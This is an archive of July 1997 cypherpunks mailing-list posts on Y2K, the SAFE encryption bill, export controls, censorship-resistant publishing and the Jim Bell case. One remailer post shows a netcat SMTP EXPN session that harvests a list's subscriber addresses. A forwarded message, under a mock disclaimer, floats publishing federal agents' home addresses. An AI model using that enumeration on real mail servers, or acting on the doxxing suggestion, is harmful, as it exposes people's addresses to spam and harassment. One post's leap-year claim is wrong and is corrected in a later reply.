> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.
>   In essence, the goals of the organization have been to promote
> the most unwieldy, unworkable and inefficient solutions possible
> to the Year 2000 programming problems which exist on various
> platforms. It was forseen that the problem would be a weak point
> in the New Electronic World Order that could be effectively used
> to inject chaos and diversion into the plans of the secret world
> governments to turn the Internet into a tool of government and
> corporate fascism.

This sounds like the ISO-9000 "quality" pogroms.  (Using corporate fascism
to destroy corporate fascism, one manager at a time.)

Need to find another picture of Steven R. Covey for the blowgun range...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 01:41:47 +0800
To: cypherpunks@toad.com
Subject: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: <Pine.GSO.3.95.970729102007.25915J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:19:36 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Majority in house support SAFE encryption bill, from SPAlert

[From an alert put out by the Software Publishers Association. (I skipped
the press conference.) --Declan]


---------- Forwarded message ----------

Encryption
---------------
MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL
Rep. Bob Goodlate (R-Va.) and Rep. Zoe Lofgren (D-Calif.) will hold a press
conference in room HC7 in the U.S. Capitol today to announce that a
majority in the House of Representatives have signed on as co-sponsors of
H.R. 695, the Security and Freedom through Encryption (SAFE) Act.  SPA
today called on the Clinton administration to immediately cease its
opposition to the SAFE Act, which allows the free export of encryption
products while providing American businesses with the tools needed to
protect corporate data.

"Forty years ago, John F. Kennedy wrote 'Profiles In Courage' on political
leaders with the moral and political courage to resist the easy path and,
instead, make difficult choices in the national interest.  Today, members
of the House passed this test of courage with flying colors," said Ken
Wasch, SPA president.  "On the other side of Capitol Hill, however, the
ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
than taking a courageous stand for America, some Senators would rather
follow the administration's play book, trading personal freedoms for what
they themselves admit is only marginal improvement."

"House members have clearly studied the issue and recognize that burdening
high-tech industries with oppressive regulation and restrictive export
controls will only harm America and law enforcement in the long run.  Law
enforcement concerns cannot be addressed by mandating technology but by
adopting policies ensuring technical progress and innovation occurs in the
United States."

The SAFE Act now proceeds to the Commerce, Intelligence, and National
Security Committees, all of which have until September to vote on the
legislation.

For full text of the release, visit
http://www.spa.org/gvmnt/releases/hmajority.htm.

For access to Rep. Goodlatte's Web page regarding the SAFE Act, visit
http://www.house.gov/goodlatte/encryption.htm.

For full text of SPA's statement following the SAFE Act's passage by the
House Committee on International Relations, visit
http://www.spa.org/gvmnt/releases/encryptpr.htm.

For further information, contact Lauren Hall at (202) 452-1600, ext. 313,
or lhall@spa.org.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 29 Jul 1997 22:56:14 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 28 Jul 1997, Vladimir Z. Nuri wrote:

> some people have talked about the y2k problem here, the 
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field. I have mentioned that I think government
> agencies are going to be particularly hard-hit by this 
> situation. I envisioned delays in payments etc. of something like
> a few weeks or so.

Talk about giving them more credit than is due.  This is government you're
talking about.  Try 6 months to several years. :)  And don't forget about
the year 2038 problem (Unix rolls over dates on that date for 32 bit
systems...) Also, the year 2000 isn't a leap year, but most
PC's will think it is.
 
IMHO, come October 1999, take all your savings in the form of a cashier's
check and wait until Jan 2nd to redeposit it.  Good luck with credit
cards.  You might want to clear them off first..  And if you've got
mortgages, good luck if you don't wipe them off by then!

One easy fix to the problem (if the software supports it) is to convert
the two digit years (if they're stored as characters) into a 16 bit
unsigned integer.  That would be good until the year 65535, and still let
you use 1802 as a year.  But some warez use a single byte - which isn't
easy to extend...  Some RDBMS and DB's won't let you do this easily.  Life
sucks when corporations use code over the time it was meant for (like 
DES for instance) what can we say. :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 18:25:49 +0800
To: enoch@zipcon.net
Subject: Re: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <19970729014252.9662.qmail@zipcon.net>
Message-ID: <199707291007.LAA00721@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
>  > You two must've been snoozing when I posted the Eternity
>  > service announce back in April.  I implemented something
>  > which does pretty much exactly what you're discussing.  I'll
>  > include a repost below.
> 
> I skimmed it.  "Eternity" makes me think of caskets and people in
> dark suits with expensive prices. :)

I "borrowed" the name from Ross Anderson I think it comes from
something called an eternity machine.  Perhaps a more descriptive name
would help?  USEWEB?  ALT web?  
(Have URLs of the form http://[host].alt/)

>  > So beyond implementing it, which I've done a first cut of,
>  > the next problem is getting people to use it, to advertise
>  > it so that people know it exists, to get people to put lots
>  > of "interesting" (= otherwise censored, so possibly pretty
>  > interesting) materials on it, so that people find it
>  > interesting to browse documents on it.
> 
> Hmmm.  I would certainly not want to be the only person running a
> server when the "interesting" materials got posted.

Yes, running an eternity server is going to have similar if not worse
operator harrassment problems than running remailers.  I've been
subscribed to remop <remailer-operators@anon.lcs.mit.edu> for a while
now, and remailer operators take no end of flak.

Once it gets going perhaps people can use their own personal eternity
server, a server for their own use only.  That at least directs
criticism to USENET admins, news archiving search engines, and
remailer operators (the exit remailers on the actual posts).

I'm confident that USENET can take the strain.  The average of
newsadmins doesn't honor cancels, and won't be bothered, or will be
hostile to the notion of canceling articles on the request of kooky
censors.  Search engines might be persuaded to delete posts from their
archives in the extreme.  I understand that the poster can request
posts removed from altavista.  Perhaps with enough harrassment
altavista might be coerced into removing other peoples posts.

The obfuscation of encrypting with pgp -c and password "eternity"
should help in that the documents are not directly readable.  At least
one of the search engines does not archive uuencoded posts.  It does
archive PGP radix-64 encoded posts.  Perhaps that would change if
censors created enough of a nuisance of themselves.

If they do stop archiving radix-64 we can switch to texto (crude text
stego app, which is kicking around the net somewhere).

> I'll see if I can get it to work.  Perhaps I can be Jim Bell's
> cellmate if things don't work out.  :)

Just view it as a temporary, disposable service.  When the heat gets
turned up to the stage where you receive bonafide legal letters,
disable it, and let someone else start some servers.  All the
documents will survive, as they live in USENET spools, and in search
engines USENET archives.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 02:46:45 +0800
To: cypherpunks@Algebra.COM
Subject: Crypto Hooks
In-Reply-To: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>
Message-ID: <v0310280bb003e90f25d0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:23 AM -0700 7/29/97, Craig Strickland wrote:

>This triggered a thought that may have already been discussed, but I thought
>I'd throw it out anyway.  Since the export of cryptography = munitions, what
>happens if I write an application that's the "shell", and contract with a
>national and resident of a foreign country to write the crypto module.  I do
>not export the crypto technology other than sending them a printed book
>(which Phil Karn's filing determined was exportable as a non-munition).
>
>I then retail the software as a 2-component system (distantly like PGP 2.6.3i
>could have been) on the web.  FTP the "shell" from my domestic site, and FTP
>the "crypto" from the foreign site.  Both install to make the seamless
>finished product.
>
>Anyone seen anything in ITAR addressing such a hiring arrangement?


This is called "providing crypto hooks," at least in the many threads on
this list and on Usenet where the details of this have been discussed.

It is generally interpreted--but there has not yet been a good court case
to test it, that I know of--that providing a "hook" or place to drop in
crypto is a violation of the ITARs/replacements for the ITARs.

Ditto for exporting expertise designed to circumvent the ITARs. Thus,
RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
Carlo or Switzerland and develop the next generation there.

Again, this interpretation has not gotten a clear test in the courts.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 30 Jul 1997 03:28:31 +0800
To: cypherpunks@cyberpass.net
Subject: Declan Does Boylove
In-Reply-To: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
Message-ID: <19970729191728.25870.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:

[snip]

Very nice article. 

>    "They shouldn't be doing these things with the children's pictures,"
>     Cox says.

Cough.  One wonders why these nuts spend so much of their time worrying
about what they imagine others to be aroused by, and why they embrace the
doctrine of "vicarious long-distance molestation" whenever they think an
otherwise ordinary photograph has been the victim of some random
stranger's impure thoughts. 

Such nonsense is central to the doctrine of radical feminists like Andrea
Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
why such individuals aren't laughed out of the auditorium immediately. 

Anyone want to wager whether http://netlynews.com/ is the newest addition
to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 30 Jul 1997 00:37:12 +0800
To: sunder@brainlink.com
Subject: NOISE: Leap years (was Re: y2k problem *serious*)
In-Reply-To: <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>
Message-ID: <199707291622.MAA03401@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian writes:

>             Also, the year 2000 isn't a leap year, but most
> PC's will think it is.

This is wrong.  2000 *is* a leap year.

A leap year is a year that is evenly divisible by four but not by
100 unless also divisible by 400.

For example, 1900, 2100 and 2200 aren't leap years, but 1600, 2000,
and 2400 are.

In C coder lingo:

Boolean
IsLeapYear(long year)
{
    if ((year % 4) == 0) {
	if ((year % 100) == 0) {
	    if ((year % 400) == 0)
		return True;
	    return False;
	}
	return True;
    }
    return False;
}


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 04:17:48 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Declan Does Boylove
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.95.970729125238.28389A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Mike Duvos wrote:

> Declan writes:
> 
> [snip]
> 
> Very nice article. 
> 
> >    "They shouldn't be doing these things with the children's pictures,"
> >     Cox says.
> 
> Cough.  One wonders why these nuts spend so much of their time worrying
> about what they imagine others to be aroused by, and why they embrace the
> doctrine of "vicarious long-distance molestation" whenever they think an
> otherwise ordinary photograph has been the victim of some random
> stranger's impure thoughts. 

Don't you know that taking someones picture captures a part of their soul
and that if you concentrate hard enough you can actually cause them harm?

It is because these people are superstitious.  They believe in magic.
They believe that thoughts and actions are equivelent and should be
punished as such.  They also get a vicarious thril out of being able to
"stop Evil" and "punish the Wrong-Doers".  (It is the same set of thrills
that make people become congress-critters.)  It is a way of making
themselves feel worthwhile and an upholder of virtue.  When you examine
the actions and motives of "moralists" and other sorts of do-gooders, you
find that in most cases, they are pretty disfunctional beings in real
life.

> Such nonsense is central to the doctrine of radical feminists like Andrea
> Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
> why such individuals aren't laughed out of the auditorium immediately. 

Because sometimes people want to think of themselves as being a victim.
Andrea and the rest of the Dwarks are feeding them a line that they want
to believe.  It is so much easier to deal with your problems when you are
told that they are caused by someone else.  That it is the "patriarchal
society" that is keeping them down.  That those "nasty men" are the cause
of their problems.  (What is really distressing about the Dwarkin variety
of feminist is that they reduce the options for women.  They replace a
percieved patriarchy with a matriarchy that is even more controlling and
strict.)

Most of the audiences at a Dwarkin speach are "true believers" already.
What bothers me more is when the media actually takes these people
seriously and not as the sexually screwed up people they are.  

If you want to see how far gone these people are, I suggest going to a
Dwarkin speech.  The women are pretty frightening, but the men who show up
are even more far gone.  (It works better if you are picketing the speech.
You get all the loons!  (I have some interesting stories about the two
held in Portland.))

> Anyone want to wager whether http://netlynews.com/ is the newest addition
> to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

The "Sewer Site" sounds like something to add to all of those "where
to find good porn sites" links pages.  I wonder how many people go there
looking for good porn?

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Wed, 30 Jul 1997 04:32:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707292014.NAA22371@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



someone wrote:
>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Its pretty straightforward for interested perties to get a list of everyone
on a mojordomo mailinglist even if the who command is disabled as long as
we have our old friend sendmail and his trusty sidekick expn.

nc toad.com 25

220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
 Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
expn cypherpunks
250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
owner-cypherpunks-unedited -h toad.com -s 
cypherpunks-unedited-outgoing"@toad.com>
250 </gnu/mail/cypherpunks-in@toad.com>
expn cypherpunks-unedited-outgoing
250-<jxx@pipeline.com>
250-<sxxxxx@slecrs2.sbc.com>
250-<sxxxxx0@laf.cioe.com>
250-<wmxxx@direct.ca>
250-<toxx@sk.sympatico.ca>
250-<zacxx@netcom.com>
250-<waxx@mls1.HAC.COM>
250-<dm+cypherpunks-unedited@amsterdam.lcs.mit.edu>
250-<paxxx@fatmans.demon.co.uk>

------ more addresses cut ----------

I have xed out the names but you get the picture. no need to go through the
effort of watching a list for posts or searching through someone's old mail.

If you have any complaints email:

expn owner-cypherpunks-unedited
250 Cypherpunks Admin <cpadmin@toad.com>    






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 30 Jul 1997 05:14:17 +0800
To: cypherpunks@Algebra.COM
Subject: National Security Agency markets commercial ASICs
Message-ID: <33DE5CF2.2424@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/965news/national.html

National Security Agency markets commercial ASICs
By Loring Wirbel

SNOWMASS, Colo. -- On a scale unprecedented for a government
intelligence arm, the National Security Agency (NSA) is expanding its
selling of
ASICs and design services, even offering commercial semiconductor
designs for selected space-based and terrestrial applications. 

Terry Brown, NSA deputy chief of microelectronics, said the customer
list will still be so specialized that the agency won't compete directly
against
developers of military ASICs and rad-hard devices. "Any customer of ours
would still require a government sponsor at some level," he said. 

Nevertheless, at an IEEE conference held recently, representatives of
Harris Semiconductor and UTMC Microelectronic Systems wondered how and
why a secret government agency would compete against them. 

One representative of a commercial IC house, who asked not to be
identified, said, "Whenever the government thinks it can sell products
to OEMs, it
inherently raises some problems." 

The commercial efforts involve NSA's 6-inch CMOS fab, run by National
Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
Microelectronics Research Lab run by NSA at an undisclosed Maryland
location. The agency has developed special ASICs for selected customers
ever since National helped open the fab in the late 1980s. Some, such as
the Mykotronx division of Rainbow Technologies Inc., were partners in
crypto chips, while others sought NSA expertise in radiation-hardness
for space applications. 

Looking to expand that customer base, the agency has named Leland Miller
its first director of marketing for microelectronics. At the IEEE
Nuclear
and Space Radiation Effects Conference, NSA had a large trade booth
advertising the capabilities of "NSA Microelectronics." 

Brown said NSA has special talent in data-path design, used in signal
and image processing but ignored by many ASIC vendors. 

NSA's fab has a library of more than 100 standard cells, optimized for
CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
triple-metal designs and is just beginning to add non-volatile EPROM and
E2PROM cell capabilities.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Wed, 30 Jul 1997 04:47:00 +0800
To: cypherpunks@toad.com
Subject: Re: Libertarians for whom Jim Bell tolls...
Message-ID: <199707292018.OAA12857@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-------Fwd: Private Email (Identities XY'ed)-------
Subject: Re: Libertarians for whom Jim Bell tolls...
   Date: Tue, 29 Jul 1997 11:32:11 -0800
   From: XXXXXXXX 
     To: YYYYYYYY

>>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
>> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
>> Washington, using the noxious chemical mercaptan. ...

>  This is interesting, since they had no evidence that he did so.
>However, they managed to get him to "confess" by illegally holding
>without bond for crimes which they never intended to charge him with
>in the first place.
>  I hope that Jim's lawyer is suitably rewarded for his part in selling
>Jim down the river.

Nancy Lord has had a lot of success in cases like this, and was
interested
in helping Bell's public defender file briefs challenging a lot of the
IRS'
charges and behavior, on First Amendment grounds. She tells me the
public
defender never even returned her calls.

>>   "IRS Inspectors indicated that the mercaptan attack may have been linked
>> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

>  In effect, they are saying that since they didn't have any evidence
>against Jim for the crime that they wanted him to "pay" for, that they
>used the threat of major criminal charges to convince him to "confess"
>to the crime, and held him without bail to let him know that the Justice
>system is under the control of the IRS, and not the defendant.

More or less. The big fuss, and the reason for holding without bail, was
supposedly that his web postings constituted evidence he was planning to
assassinate IRS agents. Yet, curiously,  he was never charged with
anything
like "conspiracy to solicit murder." Instead, people go to jail for
years
for the equivalent of pouring skunk urine on someone's welcome mat, and
for
"using false SS numbers."

Funny, I thought the folks who gave us SS numbers swore they'd always be
confidential between us and our SS retirement fund manager, and would
"never be used as a national ID number." Since I'm sure the SocSec
Administration would never confirm or deny for the IRS Mr. Bell's REAL
SS
number, I wonder who they knew which ones were bogus?

Are we to believe SocSec has never made a mistake, and issued one person
two numbers?

Anyway, was Mr. Bell accused of using the bogus numbers to fraudulently
extort wrongful benefits from the SocSec Administration? Apparently not.
So. since money will be withheld from your paycheck no matter WHAT SS
number you file, the only possible "fraud" can have been to work
different
jobs under different numbers -- with no chance of ever collecting any
"benefits" from the "bogus" accounts. An odd kind of "fraud," that pays
money to the government with no hope of ever getting any back.

>Vin,
>  Did you know that the IRS used the information gleaned from Jim Bell's
>hard drive to send the "chilling" details of Jim Bell's plea agreement
>to the individuals and mailing lists he corresponded with?
>  Did you know that when he arrested, there were no Assassination Bot's
>in existence, and that there are now at least six prototypes currently
>in operation?
>
>  God Bless AmeriKa.
>
>XXYYZZMonger

Hi --

It would probably be considered (by overzealous pro-government
extremists)
a violation of some bogus new enactment if I proposed that it would be a
good idea for someone to widely and publicly post the names and home
addresses of every employee of the IRS ... and possible the FBI, DEA,
and
ATF, to boot (after all, those people have no problem accessing the
intimate details of OUR personal lives, on a moment's notice. We all
live
in more or less constant fear of THEIR midnight knock on the door.) So I
won't suggest that.  I don't suggest that. I hope no one ever does that.
And if anyone ever does, I CERTAINLY hope such lists are not widely
downloaded and disseminated.

X.Y.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 02:33:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Crypto Application
In-Reply-To: <v03102808b0034d458be0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970729141949.11487J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Tim May wrote:

> What's a "FAQ"?
> 
> I think I'll just go ahead and challenge people to break my
> SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
> name than I did working on the algorithm, so I hope you all like it.)
> 
> 
> 
> --Tim "the Newbie"

Aw shux Tim, ROT13's been broken since the days of Caesar, and there's
enough implementations of it already... :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 02:38:47 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970729142348.11487K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.

Ah, so "Toto" is still with us (if only shadowed by the cloak work by the 
lurker...)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <editor@cdt.org>
Date: Wed, 30 Jul 1997 02:59:55 +0800
To: cypherpunks@toad.com
Subject: ALERT: Show Your Support for Privacy on the Net During August
Message-ID: <v0310280cb003e84e74ec@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain




==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| | Visit Your Member of Congress during the
| |_| | |   |  _| | |_) || | | | Month of August - Help Support Privacy
|  _  | |___| |___|  _ < | | |_| and Security on the Net!!
|_| |_|_____|_____|_| \_\|_| (_)        Posted July 29, 1997

           Please forward where appropriate until September 2, 1997

                        This alert brought to you by
The Voters Telecommunications Watch, the Center for Democracy and Technology,
 the Electronic Frontier Foundation, EFF-Austin Americans for Tax Reform,
                            and Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
            - Meet Your Member of Congress, Tell Them How You Feel
      Background On The Encryption Policy Issue and HR 695, the SAFE bill
      What's At Stake in this debate
      About This Alert

_____________________________________________________________________________
LET YOUR VOICE BE HEARD...

The government is demanding that you provide guaranteed law enforcement
access to your private online communications and business transactions.

Your Congressman will be heading home for the month of August.  Now is a
great time to let him or her know that privacy on the Internet is important
to you.

Please read the ALERT below and find out what you can do to help.

________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

The FBI, CIA, NSA and other law enforcement agencies are pressuring
Congress to pass legislation to force anyone who wants to protect their
privacy on the Internet to use programs with built in "key recovery"
features -- virtual back doors which would allow law enforcement (and
anyone else sophisticated enough to find a weakness) access to your private
communications.

This effort by the Clinton Administration to force the domestic use of
government approved "key recovery" encryption represents a very real threat
to your privacy and security in the Information Age.

Fortunately, a bill known as the "Security and Freedom Through Encryption
Act" (HR 695) is making its way through the House of Representatives.  The
bill, known as SAFE, would help protect privacy and security on the
Internet by:

* Prohibiting the government from imposing key recovery or key escrow
  encryption inside the United States or abroad.
* Allowing Americans the ability to use whatever form of encryption they
  choose.
* Encouraging the widespread availability of strong, easy-to-use
  encryption technologies by relaxing cold war-era export restrictions.

SAFE enjoys support from a bi-partisan majority of 250 Members of the House
of Representatives, and has been endorsed by civil liberties and public
interest groups from both sides of the political spectrum, as well as a
broad cross section of the computer and communications industries.

The SAFE bill has recently cleared two key House committees and is expected
to be voted on by the full House of Representatives in September.

As your Representatives in Congress head home for the August recess, now is
a great time to let them know that the folks back home care about
protecting privacy on the Internet.

Please read the instructions below to find out what you can do to
participate in "Meet Your Member Month," and join the fight to protect your
right to privacy online.

________________________________________________________________________
WHAT YOU CAN DO NOW

Between August 1 and September 2, Congress will be in recess and your
Congressman will be in your area meeting with constituents at large town
hall meetings and individual appointments.  These meetings are a great
opportunity to show them that the folks back home care about
privacy on the Internet.

If you can't make a meeting, consider sending a letter or making a phone
call to your Congressman's home office.  Whatever you can do to show your
support for privacy and security on the Net will make a big difference when
the issue is voted on by the full house in September.

Instructions:

1. Visit http://www.crypto.com/member/

   Simply enter your Zip Code to:

   * Find the name and contact information for your Representative
   * Sign up to join the Adopt Your Legislator Campaign;
   * Learn about your Congressman's voting record and positions on
     the encryption issue;
   * Tips on how to set up a meeting and contacting your Congressman;
   * Links to background information on the SAFE bill, and more.

2. Forward this ALERT to your fiends and colleagues. Urge them to join
   Adopt Your Legislator campaign at http://www.crypto.com/adopt/

Two years ago, the Internet user community responded in overwhelming
numbers to the threat of censorship and joined together to defeat the
Communications Decency Act.  The ongoing debate over US encryption policy
reform is no less important, and will determine the future of privacy and
security in the Information Age.

Now is the time to join the fight, before its too late.
________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional bills to reform US encryption policy, includig SAFE
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

For more information on this issue and the various legislative and
administration proposals to reform US encryption policy, visit
http://www.crytpo.com/

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the following Internet advocacy groups
who have joined togther to educate Congress and the public about the
importance of encryption policy reform:

* the Center for Democracy and Technology -- http://www.cdt.org/
* the Voters Telecommunications Watch     -- http://www.vtw.org/
* the Electronic Fronter Foundation       -- http://www.eff.org/
* EFF-Austin                              -- http://www.eff-austin.org/
* Americans for Tax Reform                -- http://www.atr.org
* Wired Magazine		          -- http://www.wired.com/

For more information, visit http://www.crypto.com/about/
_____________________________________________________________________________
end alert 07.29.97
